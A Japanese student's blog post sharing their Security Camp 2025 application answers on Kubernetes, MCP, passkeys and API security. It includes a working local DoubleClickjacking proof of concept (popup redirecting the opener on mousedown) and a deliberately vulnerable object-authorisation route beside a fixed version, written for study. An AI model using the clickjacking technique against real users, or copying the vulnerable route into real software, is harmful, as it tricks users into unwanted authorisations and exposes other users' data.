🏋️‍♂️

セキュリティキャンプ2025 B【プロダクトセキュリティクラス】 応募課題晒し

に公開

kodaiです。
セキュリティキャンプ2025 B【プロダクトセキュリティクラス】に受かったので応募課題晒ししていきたいと思います。
応募課題の解答として理解が誤っているところが多分あると思うので、ご指摘ありましたら是非よろしくお願いします。
日本語がおかしいところ等あると思いますが、温かい目で見守り下さい。

応募するにあたって

今年は大学4年生で、セキュリティキャンプ全国大会に応募できる最後のチャンスでした。どうしても参加したいという強い思いがあり、何としてでも合格したいという気持ちで応募に臨みました。

実は、今年のSecHack365には応募したものの、残念ながら落選してしまい、とても悔しい思いをしました。その悔しさもあって、セキュリティキャンプには絶対に行きたいと強く思っていました。

セキュリティキャンプには、1年生の頃からミニキャンプを含めて何度も応募してきました。しかし、セキュリティキャンプは選考結果のフィードバックが返ってこないため、なぜ落ちたのか分からず悩んでいました。

そんな中、昨年応募した際の応募メモが残っていたので、それをもとに、過去の合格者の応募内容と自分のものを見比べながら、何が不足していたのかを自分なりに分析しました。その反省を活かして、今年の応募文を書き上げました。
参考にさせていただいたのはtakummaさんの記事です。
https://zenn.dev/takumma/articles/seccamp-2022-challenge-takumma

解答した課題について

大学の研究との兼ね合いもあり、応募課題は約1週間で書き上げました。とはいえ、平日のうちに自分の経験について書ける部分をある程度進めておき、残りは週末の2日間で一気に仕上げました。
Diver OSINT CTFへの参加やバイト後に徹夜で取り組むなど、かなり締め切り駆動で書いていたため、本当はもっと書けたなと感じるところもあります。

これから応募される方には、できればもう少し余裕を持って取り組むことをおすすめします。笑
最終的な課題の提出状況は以下のようになっています。

必答
Q1
Q2
Q3
選択問題
Q4
Q5
Q6(1)
Q6(2)
Q6(3)
Q6(4)

選択問題に関しては、Q6が最後まで書ききることができず(2)の問題まで書きました。

文字数を計測したところ解答部分(検証のために使ったソースコードは含めない)で大体18000字ほど書いていました。文章を書くのが苦手で文章を作り上げるのに凄く時間がかかったので、考えがまとまっていない場合は、課題に対して考えたことをとにかく箇条書きで羅列し、生成AIに投げて文章化してもらった上で、自分の言葉でさらに書き直すということをしていました。そのおかげでどうやって文章化すればいいのか迷ったところも言語化できてよかったと思います。

応募課題晒し

Q.1 (応募のモチベーションについて)

「プロダクトセキュリティクラス」の講義のうち、特に受講したいと思う講義(複数可)に関して、その講義で「どのようなことを・なぜ学びたいか」を教えてください。とりわけ「なぜ学びたいか」の部分に関連して、いま応募を考えているあなたが感じておられる課題意識や、あなたの関心領域が伝わってくるような解答を歓迎します。

B4『Kubernetesで学ぶクラウドネイティブ時代のプラットフォームセキュリティ』

私はこの講義でk8s上に安全なプラットフォームを構築・運用するための知見と実践的な対策方法を学びたいと考えています。私は現在、大学の研究としてk8sクラスタ上にOpenStack-helmを用いてプライベートクラウドを構築することに取り組んでいます。その中で特に4つ課題意識を持ちました。

1つ目はk8sネットワークの設計の難しさです。Node Network、Pod Network、Service Network など、ネットワークの構成要素が多く、CRIやCNIといったアーキテクチャの選定や設計理由を明確にすることが難しいと実感しました。プライベートクラウドは公開される範囲がローカルで限定されるためセキュリティ要件を考えるのはそこまで重要ではありませんが、実際に運用するうえでは基盤となるクラスタの規模がだんだん大きくなるため、この問題の深刻度が大きくなると思うため、k8sクラスタの規模に合わせた着眼点を持ちたいと思います。

2つ目は通信制御・認可設計の複雑さです。Pod 間通信や外部との通信は、受信/送信の通信を許可しており、適切な NetworkPolicy や RBAC、OPA などの設定が必要です。しかし、設定ミスによって意図しない通信が許可されてしまう恐れがあるため、どのようにセキュアな構成を設計・実装すればよいか、ベストプラクティスを学びたいです。

3つ目はYAML構文の設計ミスのリスクとそれに気づいたときの初期対応についてです。podSelectorにハイフンをつけるかどうかによって、どこまで接続が許可されるのかが変わるように、YAMLの書き方によってセキュリティ上重大な影響が出る可能性があります。こうした構文のミスをどのようになくすのか、また仮に誤った設計でデプロイしていて後からその設定のミスに気付いたりインシデントが発生したりしたときに、初期動作としてどのように対応すべきなのか、構築ミスをどのように発見するのかについて学びたいと考えています。

4つ目は情報共有と運用の難しさです。k8sクラスタはチームで運用されることが前提となるため(会社だとSREチームがこれに該当する)、どのように情報共有や設計意図を文書化・共有すべきかを知りたいです。

これらの課題を克服するためには、単なるツールの使い方だけではなく、Kubernetesの内部構造を踏まえたセキュリティ設計の観点や、実践的な知見の習得が必要です。そのため、ハンズオン形式で実際にクラスタに触れながら学べるこの講義に大きな魅力を感じています。

B5『モダンなプロダクト開発を攻撃者の視点で捉える』

私はこの講義を受けることで攻撃者の思考や攻撃者がどのような意図をもって行動するのかについて適切に考えることができるようになりたいです。

最近はあまり取り組めていないのですが、Try Hack meで脆弱性のあるマシンを攻略するということをやっていました。マシンを攻略するために偵察・列挙・侵入・権限昇格という大枠で攻略を試みており、空いているポートや使われている技術スタックのバージョンなどから、脆弱な部分がないかを探すという1連の流れで捉えていました。考え方の大枠としては同じところもあると思いますが、実際のクラウドやCI/CDなどのモダンなプロダクトに置き換えるとそんなに単純にいくことはないと考えています。
またモダンなものではないため、モダンな開発環境に対する攻撃者の視点を学びたいです。

また私がセキュリティのニュースや技術について知る際にはネットで調べた記事などを参照することが多いですが、それらは基本的に攻撃手法やどのような影響が出るのかについて書かれてあることが多く、攻撃者がどのようなことを考えているのかということに関しては一元的な視点しか持つことができていません。そこでこの講義でディスカッションすることで自分だけの考えではなく、他の参加者の人の意見を聞いて自分にはなかったものの見方を得ることができるというところに非常に大きな価値があると思います。攻撃者の考え方を概念的に把握することができれば、昨今の技術成長が早い世の中でも柔軟にものの見方を変えて、セキュリティ対策に応用することができるのではないかと思っています。

Q.2 (これまでの経験について)

以下の経験について、差し支えのない範囲でできるだけ具体的に教えてください:
(1) Web アプリケーションの設計・開発経験(※ どんな些細なものでも構いません)
(2) パブリッククラウド技術の利用・構築経験(※ どんな些細なものでも構いません)
(3) 一般のプログラミングの経験やチームでの開発経験(※ 使ったことのある言語や、その用途などを教えてください。レイヤは問いません)
(4) コンテナ技術の利用経験
(5) CI/CD 環境のセットアップ・利用経験
なお、この問は「この応募課題を提出する時点での経験」を問うものです。この応募課題を見た時点での経験はなくても構いませんし、この応募課題の記入にあわせての学習を歓迎します。

このセクションでは、これまでの経験について記載しているため、詳細は省略します。

昨年の応募課題の時点では書けることがあまりなく、正直困っていました。しかしこの1年で、JANOGやインターン、セキュリティ・ミニキャンプ、大学の研究などを通じて、ネットワークやアプリ開発、クラウド、Kubernetesといった幅広い技術に触れる機会が増えました。結果として、自然と書けることも増えたと感じています。

もし「書ける経験が少ない」と感じている方がいれば、1年間でいろいろな分野の技術に触れてみる、実際に挑戦してみるのがおすすめです。

また、ただ単に自分の経験を列挙するのではなく、経験の中で何を考えたのかをさらに深掘りした内容を書くように意識しました。

Q.3 (あなたの感心・興味について)

Web に関連するサービス・プロダクトを作って提供することに関連する技術で、いまあなたが興味を持っているものがあれば、それについて自由に説明してください。少しでも Web との関連性がある技術であれば、それがハードウェア領域に近いものでも、ソフトウェア領域に近いものでも構いません。

MCP

MCPはModel Context Protocolの略でLLMが外部のデータソースやツールと連携するために設計されたプロトコルです。

MCPが実装されるまでは、LLMには主に3つの弱点がありました。
1つ目はLLMの知識が訓練データが収集された特定の日時で固定されるため、最新情報や特定情報へのアクセスができないという点です。
2つ目はLLM単体ではLLMに指定した特定の日の予定をGoogleカレンダーに登録できないといったように、外部サービスに対して単独で依頼内容を実行することは不可能であるという点です。
3つ目はCTFで高難易度のCryptoの問題を解くときのような複雑な数学計算や統計的な分析をする際には、処理に限界があるため専門ツールに劣ってしまうという点です。これらを解消するために、MCPが生まれました。

私自身、MCPをGithub Copilotを通じて利用していますが、コードを書く上で書こうとしている処理を自動で補完してくれたり、プロジェクト全体のコードのリファクタリングをしてもらったりする点で非常に恩恵を感じています。MCPがさらに発展することで、MCPがなんでも呼び出せるようになり、MCPを有効活用することができる場所が増えることが楽しみです。

楽しみな反面少し怖さもあります。それはMCPで提供するAPIの設計や権限についてです。MCPに指示することによってさまざまな情報を取得することができますが、設計に脆弱な部分があると、ユーザーが指示を出してから情報が提供されるまでに悪意のあるユーザーによって書き換えられた情報が提供され踏み台として利用されたり、プライベートリポジトリの内容や会社内の機密情報など、それらを扱う人たち以外の第3者に情報が渡ってしまって情報の秘匿性が失われてしまったりする危険性があると思います。

セキュリティを少しかじっている人であれば、それらを意識して設計・運用することができると思いますが、MCPの特性を十分に理解していないエンジニアによって使用されると、意図せずに脆弱性が含まれてしまう可能性があるので、これからさらにMCPの技術を理解している人やセキュリティエンジニアと開発エンジニアが密に連携をとっていく必要があると思いました。

この課題を解答するにあたって参考にさせていただいた記事・ブログ

Q.4 Web に関連する脆弱性・攻撃技術の検証

「Top 10 web hacking techniques of 2024」( https://portswigger.net/research/top-10-web-hacking-techniques-of-2024 ) は、Web に関するセキュリティリサーチャーの投票により作成された、2024 年に報告された興味深い Web に関する攻撃テクニック 10 選です。この Top 10 中の事例の中で、興味を持てたもの 1 つに関して、以下を説明してください。
(1) 事例の概要
(2) 攻撃手法の詳細
(3) その他その事例に関して感じたこと・気がついたこと
なお、本設問では、関連する仕様や攻撃の適用可能な条件についての詳細な理解が垣間見えるような記述や、理解を深めるために行ったこと(例: ローカルで行った再現実験等)に関する記述を歓迎します。

(1)事例の概要

6. DoubleClickjacking: A New Era of UI Redressing

DoubleClickjacking: A New Era of UI Redressing introduces a variation on Clickjacking that bypasses pretty much every known mitigation. This entry proved controversial with the panel because it seems simple and deceptively obvious in retrospect, but still came in highly placed due to raw, undeniable value.

While glimmers of this attack concept have existed for years, Paulos Yibelo delivers it with a perfect execution that proves it's unequivocally the right time for this attack. Framing restrictions and SameSite cookies have largely killed Clickjacking, and browser performance has achieved a level that makes the sleight of hand pretty much invisible. Love it, hate it, or simply hate the fact that you didn't discover it first, this is not a technique to ignore!

最新のブラウザではすべてのCookieがデフォルトで「SameSite: Lax」に設定されているため、クロスサイトのCookieが送信されず、フレーム化されたサイトが認証されていない状態になるため、クリックジャッキングは実行されにくくなっています。しかしダブルクリックジャッキングでは、ダブルクリックシーケンスを利用することによって、X-Frame-Optionsヘッダー、CSPのframe-ancestors、SameSite: Lax/Strict Cookieなど、既知のクリックジャッキング対策をすべて回避する新たな手法です。この手法によってOAuthの認証が瞬時に行われてしまい、認証された瞬間に悪意のあるスクリプトが実行されてしまいます。

(2)攻撃手法の詳細

今回の攻撃手法で大切になってくるのは、クリックジャッキングの対策手法ではダブルクリックジャッキングの攻撃は対処できないという点です。今回のダブルクリックジャッキングはイベントのタイミング差を悪用した手法となっています。それはクリックのアクションよりもmousedownのイベントが優先されてしまうという点です。それぞれの実行時間について把握するため、クリックとmousedownのそれぞれの実行時間をローカル内で計測してみました。実行時間の計測に測定したhtmlは以下になります。

<!DOCTYPE html>
<meta charset="utf-8">
<title>mousedown ↔ click 遅延チェッカー</title>

<style>
  body { margin:0; height:100vh; display:flex; flex-direction:column;
         align-items:center; justify-content:center; font-family:sans-serif; }
  #testBtn {
    width:260px; height:70px; line-height:70px; font-size:24px;
    background:#3498db; color:#fff; border:none; border-radius:10px;
    cursor:pointer; user-select:none;
  }
  #log { margin-top:40px; font:16px/1.4 monospace; white-space:pre; }
</style>

<button id="testBtn">Click me twice ⚡️</button>
<pre id="log">Press the button twice to see timings…</pre>

<script>
  const log = document.getElementById('log');
  const btn = document.getElementById('testBtn');

  let tDown = null;
  let trial = 0;

  btn.addEventListener('mousedown', () => {
    tDown = performance.now();
  });

  btn.addEventListener('click', () => {
    if (tDown === null) return;
    const tUp   = performance.now();
    const delta = (tUp - tDown).toFixed(2);
    log.textContent =
      `Trial #${++trial}\n` +
      `mousedown : ${tDown.toFixed(2)} ms\n` +
      `click     : ${tUp.toFixed(2)} ms\n` +
      `Δ (delay) : ${delta} ms\n\n` +
      log.textContent;
    console.table({ trial, mousedown: tDown, click: tUp, delta });
    tDown = null;
  });
</script>

このhtmlをpythonでサーバーを立ち上げて実行時間を計測しました。実行結果は以下の写真の通りです。
この検証からmousedownの方がミリ秒単位で読み込まれる速度が速いことが分かります。この仕様を悪用して今回の攻撃は行われます。
ダブルクリックジャッキングが実行される流れについて説明します。
被害者UIを含むページを①target.html、ダブルクリックを誘導する攻撃ページを②attacker.htmlとします。以後①と②として説明を続けていきます。
target.html

<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="utf-8">
  <title>Fake OAuth page</title>
  <style>
    body { margin: 0; height: 100vh; position: relative; }
    #allow {
      position: absolute;
      top: 120px;
      left: 120px;
      width: 300px;
      height: 70px;
      font-size: 28px;
      line-height: 70px;
      background: #2ecc71;
      color: #fff;
      border: none;
      border-radius: 10px;
      text-align: center;
      cursor: pointer;
      box-shadow: 0 2px 8px rgba(0,0,0,0.12);
    }
  </style>
</head>
<body>
  <button id="allow">Allow</button>
  <script>
    document.getElementById('allow').onclick = () =>
      alert('🎉 OAuth authorised (simulated)!');
  </script>
</body>
</html>

attacker.html

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>DoubleClickjacking (timed)</title>
  <script>
    function openDoubleWindow(url) {
      let w = window.open('', '_blank', 'width=600,height=400');
      w.document.write(`
        <!DOCTYPE html>
        <html>
        <head>
          <meta charset="utf-8">
        </head>
        <body style="margin:0;position:relative;height:100vh;">
          <button id="doubleclick" style="
            position:absolute;top:120px;left:120px;width:300px;height:70px;
            font-size:28px;line-height:70px;background:#3498db;color:#fff;
            border:none;border-radius:10px;cursor:pointer;">
            Double Click Here
          </button>

          <pre id="log" style="position:absolute;bottom:10px;left:10px;font:14px/1 monospace;"></pre>

          <script>
            let t1 = null, t2 = null;
            let logEl = document.getElementById('log');
            const btn = document.getElementById('doubleclick');

            btn.addEventListener('mousedown', e => {
              t1 = performance.now();
              logEl.textContent = "mousedown: " + t1.toFixed(2) + " ms";
              opener.location = "${url}";
              window.close();
            });

            btn.addEventListener('click', e => {
              t2 = performance.now();
              logEl.textContent += "\\nclick:     " + t2.toFixed(2) +
                                   " ms\\nΔ = " + (t2 - t1).toFixed(2) + " ms";
              console.table({
                mousedown: t1,
                click: t2,
                delta: (t2 - t1)
              });
            });
          <\/script>
        </body>
        </html>
      `);
      w.document.close();
    }
  </script>
</head>
<body>
  <button onclick="openDoubleWindow('http://127.0.0.1:8000/target.html')">
    Start demo (timed)
  </button>
</body>
</html>

最初は②をもとに攻撃が進みます。

  1. 攻撃者は、攻撃の起点となる最初のwebページを作成します。
<button onclick="openDoubleWindow('http://127.0.0.1:8000/target.html')">
  Start demo (timed)
</button>
  1. window.open関数によって正規リクエストとして新しいウィンドウが上部に開き、ユーザーにダブルクリックするように求めます。
let w = window.open('', '_blank', 'width=600,height=400');
<button id="doubleclick" style="position:absolute;top:120px;left:120px;width:300px;height:70px;">
  Double Click Here
</button>
  1. この新しいウィンドウはすぐにwindow.opener.locationを使用して、親ウィンドウの場所をターゲットページに変更します。
btn.addEventListener('mousedown', e => {
  t1 = performance.now();
  opener.location = "${url}";
  window.close();
});
  1. 親ウィンドウにターゲットページ(今回の場合はOAuth認証)が含まれるようになり、他ブルクリックプロンプトが引き続き表示されます。
<button id="allow" style="position:absolute;top:120px;left:120px;width:300px;height:70px;">
  Allow
</button>
  1. ユーザーが要求されたダブルクリックを試みると以下のように攻撃が進みます
    1. mousedownでトリガーされた最初のクリックにより上部のウィンドウが閉じます。
    2. 2回目のクリックでは親ウィンドウに表示された認証ボタンが表示されるようになります。ここで①のページに切り替わります。
    3. ユーザーは意図せずにダブルクリックの2回目のクリックで承認ボタンを押してしまい、OAuthの認証が成功したというalert関数が実行されてしまいます。

1回目のクリックで②のページから①のページに切り替わり、2回目のクリックで承認ボタンを押してしまいます。この動作は一瞬なので、例えダブルクリックジャッキングに気付いたとしても拒むことができず、被害者は悪意のある攻撃者に対してOAuthの認証情報を渡してしまいます。承認された瞬間に攻撃者による悪意のあるアクションが実行されてしまいます。また今回の検証に用意したページはOAuthの認証でしたが、他にもセキュリティ設定の無効化やアカウントの削除、アクセスや送金の承認、取引の確認などアカウントの設定の変更をユーザーにクリックさせることができます。

3.その他その事例に関して感じたこと・気がついたこと

この攻撃について検証を進める中で、当初は「攻撃者の悪意あるページが被害者のブラウザ上に表示されない限り成立しないため、フィッシングなどに引っかからなければそれほど脅威ではないのではないか」と感じました。

しかし、よく考えてみると、CMS を用いたウェブサイト上の広告枠に攻撃用スクリプトが埋め込まれるケースや、正規ドメイン内のオープンリダイレクト機能を経由して攻撃者のページに遷移させられるケースも考えられ、ユーザが意図せず攻撃ページを開く可能性は十分にあると気付きました。

このように、ユーザの明示的な“誤操作”がなくても攻撃が成立し得ることから、ダブルクリックジャッキングは十分に現実的で深刻な脅威だと考え直しました。

Q.5 パスキーに関連する標準や実装の調査

(1) 任意のパスキーが使用されているサービスを実際に利用して使用感を調査したうえで、技術的・運用的・UXの観点から、あなたが課題だと思う点を述べてください。また、その解決策についても考えてください。なお、実際に利用できる環境にない場合はドキュメントの調査のみとして、使用感が分かる範囲で想像できる課題を考察してください。
(2) 認可と認証の違いについて、例を挙げて説明したうえで、OAuth 2.0 や OpenID Connect(OIDC)とパスキーの仕様(WebAuthn)の関係について説明してください。
(3) 従来の認証方式(パスワード、OTP、SMS認証など)と比較した場合、パスキーのメリットとデメリットを述べてください。
(4) 従来の認証方式(パスワード、OTP、SMS認証など)で提供されたWebアプリケーションにパスキーを実装するとき、サーバー側でどのような変更が必要ですか?
(5) あなたが企業のエンジニアだった場合、経営陣にパスキーの導入を提案するとしたら、どのようなポイントを説明しますか?

(1)任意のパスキーが使用されているサービスを実際に利用して使用感を調査したうえで、技術的・運用的・UXの観点から、あなたが課題だと思う点を述べてください。また、その解決策についても考えてください。なお、実際に利用できる環境にない場合はドキュメントの調査のみとして、使用感が分かる範囲で想像できる課題を考察してください。

技術的観点から、スマホの顔認証でパスキーを使用する際は、カメラが壊れていたら使えないという課題があると思います。生体認証に頼りきっている場合は、デバイス側の不調や指紋が削れているなどのユーザー側の問題が発生したときに、他の手段がないとログインすることができません。そのためそれの解決策として、PINコードやほかのデバイスでの認証を用意して置いたり、iCloudやGoogleアカウントと同期させておくことで、パスキーをもっと使いやすくするという措置がとれると思います。

運用的観点から、ユーザーがパスキーの利便性や安全性を正しく認識できていなかった場合、パスキーを使わずにパスワード認証を使ったままにするなどが挙げられると思います。googleがパスワードを保存しているように、一回パスワードを登録すれば後からそれを使うだけでいいのだからパスキーを導入しなくても良いという認識が生まれてしまい、パスキーが運用されなくなってしまうと思います。そのため、パスキーがどのような技術的に恩恵があるのかを広めたり、パスキーを必須化にするなどの対策をすればいいと考えます。

UXの観点からパスキーを求められる際のUXがいつも同じなので、認証になんの疑問も持たずに顔認証やPINコードを通してしまうところに問題があると思います。利便性が高すぎるため、認証をすることで本人確認をするという意識が薄れてしまう点に問題があると考えます。そのため、webAuthnでUXの設計にユーザーへのドメイン確認をうながしたりする必要があると思います。

(2) 認可と認証の違いについて、例を挙げて説明したうえで、OAuth 2.0 や OpenID Connect(OIDC)とパスキーの仕様(WebAuthn)の関係について説明してください。

認可とはユーザーにリソースにアクセスする権利を与えることで認証とはユーザーの身元を確認することです。認証・認可を会社に企業Aに所属している社員として置き換えて考えてみます。会社に入るにはロビーで社員証をタップしてそこで企業Aに所属しているかどうかを確認します。それが”認証”です。社員Aが人事の人間であった場合、普通の会議室には入れるがSOC業務をしていないのでSOCルームには入ることができません。それが”認可”です。つまり認証とはユーザー自身の身元を確認することで、認可とはユーザーがリソースにアクセスする権利があるかどうかを確認し権限を与えることです。

認証・認可の考え方がOAuth 2.0とOIDCにも表れています。OAuth 2.0はリソースサーバに対して「誰かの権限を別のクライアント(アプリに)委譲する」という目的を持っていて、委譲する過程でアクセストークンが発行されます。

OIDCはユーザの識別情報を第3者に信頼してもらい、その情報をもって認証とする仕組みです。OAuth 2.0の仕組みを用いることで、ユーザのプロフィールをリソースとして捉えて第三者にそのプロフィールへのアクセスを許可すれば、プロフィールで身分証明ができるようになります。プロフィールをリソースとして提供する API をOAuthと組み合わせた仕組みを規格として定義したものがOIDCということです。

これらの仕組みとWebAuthnの関係性について説明します。ユーザーを認証する際にパスワードの代わりにパスキーが用いられたWebAuthnが使用されます。認証に成功するとOAuth 2.0 のフレームワークを通じてAccess Tokenを、OIDCの拡張としてID Token を発行します。クライアントは Access Tokenで“何ができるか (認可)”、ID Tokenで“誰か(認証結果)” を確認しながらリソースにアクセスします。

webAuthnの仕組みを理解したうえで、Googleが出しているはじめての WebAuthnに取り組んでみました。このデモではログイン済みユーザーに対して、再認証を要求するUI が表示されます。navigator.credentials.get() によって、登録済みの公開鍵クレデンシャルを使って署名付きレスポンスを生成し、それをバックエンドに送信して「再び本人であること」を確認するという一連の流れを確認できました。これを通じて、WebAuthn が「トークンに代わるもの」ではなく、トークンを発行するための土台となるユーザー認証 を担っていることを実感しました。

この課題を解答するにあたって参考にさせていただいた記事・ブログ

(3)従来の認証方式(パスワード、OTP、SMS認証など)と比較した場合、パスキーのメリットとデメリットを述べてください。

メリット

パスキーのメリットは安全性が非常に高いところにあると思います。パスワードを使用する場合は、推測されにくいように大文字小文字、記号や数字などを複雑に組み合わせる必要があります。また、パスワードを使いまわさないようにしておく必要があります。しかし多くのユーザーは堅牢性の高いパスワードを設定しておらず、使いまわしていることも非常に多いと思います。またSMS認証はSS7脆弱性やIMSI Catcherを使用されることによって通信内容が傍受される可能性があり、脆弱です。加えてフィッシングサイトなどによってユーザーの個人情報やパスワードが漏洩したり、例え多要素認証を使っていたとしても、スミッシングに引っかかれば、容易に情報を窃取されてしまう可能性があります。

パスキーは指紋認証や顔認証といった生体認証を利用したりPCに設定されたPINコードを使用したりするため、パスキーの情報を盗まれたり推測されたりするリスクは低いと思われます。また文字列のみのパスワードとは異なり、パスキーはサービスごとに異なる鍵が生成され、公開鍵暗号方式を利用しているため、サーバー側には公開鍵のみ保存され、ユーザー側の端末に秘密鍵が登録されるため、例え通信が傍受されたとしてもそれを悪用するのは不可能であるため、第三者による不正ログインを防止することができます。

またユーザーが秘密にしておくべき情報を管理する手間がなく、安全かつ簡単に認証情報を管理できることがメリットだと思われます。

デメリット

パスキーのデメリットとして、認証端末の依存度が高いことが挙げられます。パスキーの認証情報が端末に全て保存されているため、紛失・盗難が起こってしまった場合には認証情報が漏洩してしまう可能性があります。また紛失せずとも端末が故障している場合や、指紋などの生体情報が正しく読みとることができない場合は、認証が不可能になり認証することができなくなります。そのためサブ機でもパスキーによる認証を行っておく必要があります。

また、パスキーはプラットフォームのIDに紐づけされているため、GoogleとMicrosoftなど異なるプラットフォームでは使用することができないため、それぞれのプラットフォームごとにパスキーを個別に登録する必要があります。企業内で複数のプラットフォームで運用する場合は、どのプロバイダを基盤にしておくのかを明確にしておく必要があります。

また社用の端末でパスキーを使う場合は共用で使用している端末にパスキーを設定しないように心掛けなければいけません。共用の端末で誤ってパスキーを設定してしまうと、他人にログインされ不正アクセスされる原因になります。そのため、個人と組織でデバイスを分けて適切にパスキーを運用する必要があります。

この課題を解答するにあたって参考にさせていただいた記事・ブログ

(4) 従来の認証方式(パスワード、OTP、SMS認証など)で提供されたWebアプリケーションにパスキーを実装するとき、サーバー側でどのような変更が必要ですか?

従来の方式で運用してきた Web アプリケーションにパスキーを組み込むには、サーバー側で大きく四つの対応が必要になると考えています。

第1に、WebAuthn 専用のエンドポイントを新設します。登録時にはサーバーが暗号学的に安全なサーバー上で生成される暗号的にランダムなバイト列のバッファとユーザーIDを生成してフロントへ返し、ブラウザが navigator.credentials.create() で得た AttestationObject と clientDataJSON を受信してライブラリで検証し、公開鍵を保存します。認証時には再びチャレンジを発行し、navigator.credentials.get() が返す署名を公開鍵で検証して従来どおりのセッション/JWT を発行します。こうしてエンドポイントを分離すれば、既存のログインフローを保ったままパスキーを追加できると考えます。

第2に、データベーススキーマを拡張します。パスキーでは秘密鍵が端末外へ出ないため、サーバーは公開鍵とメタデータを長期保管しなければ検証できません。そこでユーザーテーブルと一対多で結ぶクレデンシャルテーブルを用意し、①署名検証に必須の credential_id、②COSE_Key 形式の public_key、③鍵複製を検知する sign_count、④ユーザーと結び付ける user_id、⑤登録日時や使用トランスポートを示すメタ情報を保持します。これらを欠くと公開鍵照合やクローン検知が機能せず、セキュリティ要件を満たせなくなるため、最小構成であっても必ず実装する必要があると思います。

第3に、検証ロジックと通信のセキュリティを強化します。実装負荷を抑えるために SimpleWebAuthn や fido2-net-lib など OSS を採用しつつ、本番環境では常時 TLS を適用し、rp.id と clientDataJSON.origin の完全一致を検証します。これにより、中間者攻撃やフィッシング転送攻撃を防ぎながら、WebAuthn が求める安全なコンテキストを確保できると思います。併せて sign_count を保存・比較し、数値が巻き戻った場合は追加認証を要求するなど、運用レベルでリスクに備えておく必要があると思います。

最後に、移行と運用のフローを整備します。既存ユーザーにはまずパスワード+OTP でログインさせ、アカウント設定画面からパスキーを追加できる導線を用意します。ブラウザがパスキー対応であれば conditional mediation を使ってワンクリックサインインを優先し、非対応環境では従来方式に自動フォールバックします。また端末紛失に備え複数デバイスでのパスキー登録や管理者による再発行フローを準備し、サポート窓口の手順を更新します。

以上の四点を実装することで、従来方式の Web アプリケーションにパスキーを安全かつ円滑に統合できると考えています。

この課題を解答するにあたって参考にさせていただいた記事・ブログ

(5)あなたが企業のエンジニアだった場合、経営陣にパスキーの導入を提案するとしたら、どのようなポイントを説明しますか?

私は今ままで経営陣がパスキーを導入してこなかった理由を考えます。様々な要因があると思いますが、私は主に2つの要因があると考えます。

1つ目は、多要素認証を導入しているため、既に安全であるためそれ以上のセキュリティ対策を実施しなくてもよいという考えを持っていたということだと思います。パスキーという概要もよく分からないものを信じるよりもずっと安全であると思われる既存の技術の方が心理的にもサービス的にも安全であるという慢心があると考えます。

2つ目は、パスキーの導入が困難であるという点です。1つ前の問いで答えたようにパスキーを導入するためには、設計から運用・保守に至るまでのコストが非常にかかるため、導入にコストをかけるよりもwebサービスをさらに発展させるためにコストをかけた方がいいという判断を下しているのだと考えます。

以上2つの考えを覆すために私はエンジニアとして、他社の導入実績とパスキーの仕様の安全性の2つのポイントについて説明します。

1つ目の他社の導入実績ですが、メルカリやGoogleの事例をあげます。https://t.co/Sfy4MrXASE このリンクにあるようにメルカリではパスキーを導入したユーザーが1000万人を超え、暗号資産サービスやフリマアプリをセキュアに運用した実績を残しています。またGoogleは2023 年からアカウント初期設定でパスキーをデフォルト推奨とし、数億ユーザーに展開しています。誰もが知っている大手企業の取り組み事例を挙げることで信頼性を上げ、暗号資産サービスという比較的セキュリティ上の懸念が起こりそうなところでも安全に運用できているというところをアピールすることで新しい技術への安心を得られると思います。

2つ目のパスキーの仕様の安全性についてですが、パスキーの仕様に含まれる秘密鍵は端末内の Secure Enclave/TPM から出ず、ネットワーク上を流れないため、フィッシング転送・リスト型攻撃・総当たり攻撃が原理的に成立しにくくなるという特性を説明します。近年のインシデントで多いのはパスワードとSMS-OTPを突破点とするアカウント乗っ取りです。パスキーに移行すれば最も多い侵入口が消え、SOC/IR の負荷を直接的に下げられることを説明することでパスキーは“守り”だけでなく、結果的に“攻め”の施策であることを伝えられることができると思います。

Q.6(APIに関するセキュリティへの考慮)

(1) あなたが考える「APIに対する最大のセキュリティ脅威」を1つ挙げ、それに対する攻撃者の視点での調査プロセス(情報収集・攻撃手法の検討など)を考察し、それを防ぐための具体的な対策を述べてください。(ヒント:攻撃者の調査方法には、OSINT、リクエスト改ざん、脆弱性スキャン、レスポンス分析などが含まれます)
(2) マイクロサービスアーキテクチャでは、サービス間通信を安全に行うためのセキュリティ対策が必要です。マイクロサービス間のAPI通信におけるセキュリティ課題を1つ挙げ、それを解決するための手法を説明してください。
(3) APIゲートウェイは、マイクロサービスのエントリーポイントとして機能します。APIゲートウェイを導入することで防げるセキュリティリスクを1つ挙げ、それをどのように設定・運用すべきか説明してください。
(4) あなたのプロダクトのAPIが不正アクセスを受けている可能性があると判断された場合、どのようなログを確認し、どのような対応プロセスを取るべきか説明してください。

(1)あなたが考える「APIに対する最大のセキュリティ脅威」を1つ挙げ、それに対する攻撃者の視点での調査プロセス(情報収集・攻撃手法の検討など)を考察し、それを防ぐための具体的な対策を述べてください。(ヒント:攻撃者の調査方法には、OSINT、リクエスト改ざん、脆弱性スキャン、レスポンス分析などが含まれます)

私は「APIに対する最大のセキュリティ脅威」としてオブジェクトレベルの認可の不備を上げます。

オブジェクトレベルのレベルの認可不備とは、API がURL パラメータや JSON ボディで渡されたオブジェクト IDをそのまま使い、その ID のリソースを呼び出したユーザーが本当にアクセス権を持つのかを確認しない状態を指します。weak_API.zipにBOLAが含まれたコードweakAPI.jsと安全に設計したsecureAPI.jsを配置しました。
weakAPI.js

router.get('/api/orders/:id', async (req, res) => {
  const order = await db.Order.findByPk(req.params.id);
  if (!order) return res.status(404).end();
  res.json(order);
});

secureAPI.js

router.get('/api/orders/:id', async (req, res) => {
  const id = Number(req.params.id);
  const actorId = req.user.id;

  const order = await db.Order.findOne({
    where: { id, userId: actorId }
  });

  if (!order) return res.status(403).json({ error: 'Forbidden' });
  res.json(order);
});

weakAPI.jsでは、GET /api/users/:id でユーザープロフィールを返すが所有者チェックがなく、ログイン中のユーザーでなくても取得できる情報を取得できるような設計になっています。

secureAPI.jsでは、それを防ぐためにユーザープロフィールを認証ミドルウェアで付与し、DB レベルでownerId を条件に含めることでコントローラでIDと所有者を比較しさらに ORM の where 条件に userId を入れ、SQL連打で総当たりを根本的に防いでいます。セキュアなコードとセキュアではないコードから攻撃者の視点で調査プロセスを考えてみました。以下がそのフローになります。

まず攻撃者はOSINTとしてライブラリやCMS、OSSなどの公式ドキュメントやJSONまたはYAML形式で簡単にAPI仕様書を書きだすことができるSwagger、Githubリポジトリから公開されているコードから、エンドポイントとパラメータの命名規則などを把握します。

